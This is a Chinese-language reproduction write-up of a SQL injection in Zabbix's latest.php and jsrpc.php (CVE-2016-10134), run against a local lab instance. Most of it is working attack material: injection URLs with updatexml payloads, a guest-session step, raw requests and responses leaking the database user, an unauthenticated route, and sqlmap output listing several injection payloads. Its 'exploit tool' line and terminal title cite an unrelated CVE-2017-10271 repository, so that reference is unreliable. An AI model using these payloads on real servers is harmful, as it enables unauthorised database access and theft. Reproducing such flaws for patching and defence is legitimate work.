

zabbix latest.php SQL注入漏洞

1、CVE

CVE-2016-10134

2、危害等级

高危

3、漏洞描述

因为未能过滤掉latest.php页面中toggle_ids数组的输入，导致Zabbix 2.2.x,3.0.x 远程SQL注入

4、公开日期

未知

5、利用工具

```
git clone https://github.com/c0mmand3r0pSec/CVE-2017-10271/blob/master/exploit.py
```

复现过程

访问http://127.0.0.1:8080，用账号guest（密码为空）登录游客账户。

登录后，查看Cookie中的zbx_sessionid，复制后16位字符：

▼ your-ip | zbx_sessionid

值

6f4c328b6130b363055e1ffa36164a58

域名

your-ip

路径

/

过期时间

Fri May 03 2019 01:17:51 GMT+0800 (中国标准时间)

hostOnly ☒

session ☒

安全 ☐

httpOnly ☐

帮助

将这16个字符作为sid的值，访问http://127.0.0.1:8080/latest.php?

output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggleopenstate=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),
可见成功注入：

Request

Raw Params Headers Hex

GET /latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: PHPSESSID=ejd9hp02j1qdj0j3vdd01njb3zbx_sessionid=6f4c328b6130b363055e1ffa36164a58;
Connection: close

Response

Raw Headers Hex HTML Render

HTTP/1.1 200 OK
Date: Wed, 02 May 2018 17:23:53 GMT
Server: Apache/2.4.33 (Ubuntu)
X-Powered-By: PHP/5.6.36
Set-Cookie: zbx_sessionid=6f4c328b6130b363055e1ffa36164a58
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=ejd9hp02j1qdj0j3vdd01njb3; path=/
Set-Cookie: PHPSESSID=ejd9hp02j1qdj0j3vdd01njb3; path=/
Content-Length: 403
Connection: close
Content-Type: application/javascript; charset=UTF-8

<div class="msg-bad"><div class="msg-details">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (110, 2, 'web.latest.toggle', '1', 2, updatexml(0,concat(0xa,user()),0))] [XPATH syntax error: 'root@172.19.0.3']</div></div>

这个漏洞也可以通过jsrpc.php触发，且无需登录：http://127.0.0.1:8080/jsrpc.php?

type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=1'

输入单引号' 报错

RPC

127.0.0.1:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=1%27

ZABBIX

Monitoring Inventory Reports

Dashboard Overview Web Latest data Triggers Events Graphs Screens Maps IT services

Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (525, 2, 'web.item.graph.period', '3600', 2, '1')] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ")"] at line 1]

Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (526, 2, 'web.item.graph.stime', '20180527172846', 3, '1')] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ")"] at line 1]

Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (527, 2, 'web.item.graph.isnow', '1', 2, '1')] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ")"] at line 1]

2.4 工具测试

```
sqlmap -u "http://127.0.0.1:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web."
```

```
CVE-2017-10271 — -bash — 114x37
[18:35:53] [INFO] testing 'MySQL UNION query (84) - 61 to 80 columns'
[18:35:56] [INFO] testing 'MySQL UNION query (84) - 81 to 100 columns'
GET parameter 'profileIdx2' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1922 HTTP(s) requests:
---
Parameter: profileIdx2 (GET)
  Type: boolean-based blind
  Title: MySQL >= 5.0 boolean-based blind - Parameter replace
  Payload: type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=(SELECT (CASE W
HEN (3978=3978) THEN 3978 ELSE 3978*(SELECT 3978 FROM INFORMATION_SCHEMA.PLUGINS) END))

  Type: error-based
  Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
  Payload: type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=(SELECT 8149 FR
OM(SELECT COUNT(*),CONCAT(0x7170627171,(SELECT (ELT(8149=8149,1))),0x716a626b71,FLOOR(RAND(0)*2))x FROM INFORMATIO
N_SCHEMA.PLUGINS GROUP BY x)a)

  Type: inline query
  Title: MySQL inline queries
  Payload: type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=(SELECT CONCAT(
0x7170627171,(SELECT (ELT(9210=9210,1))),0x716a626b71))

  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 time-based blind - Parameter replace
  Payload: type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=(CASE WHEN (151
2=1512) THEN SLEEP(5) ELSE 1512 END)
---
[18:36:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.36, Apache 2.4.33
back-end DBMS: MySQL >= 5.0
[18:36:33] [INFO] fetched data logged to text files under '/Users/zhouminzhi/.sqlmap/output/127.0.0.1'
```

修复建议

更新版本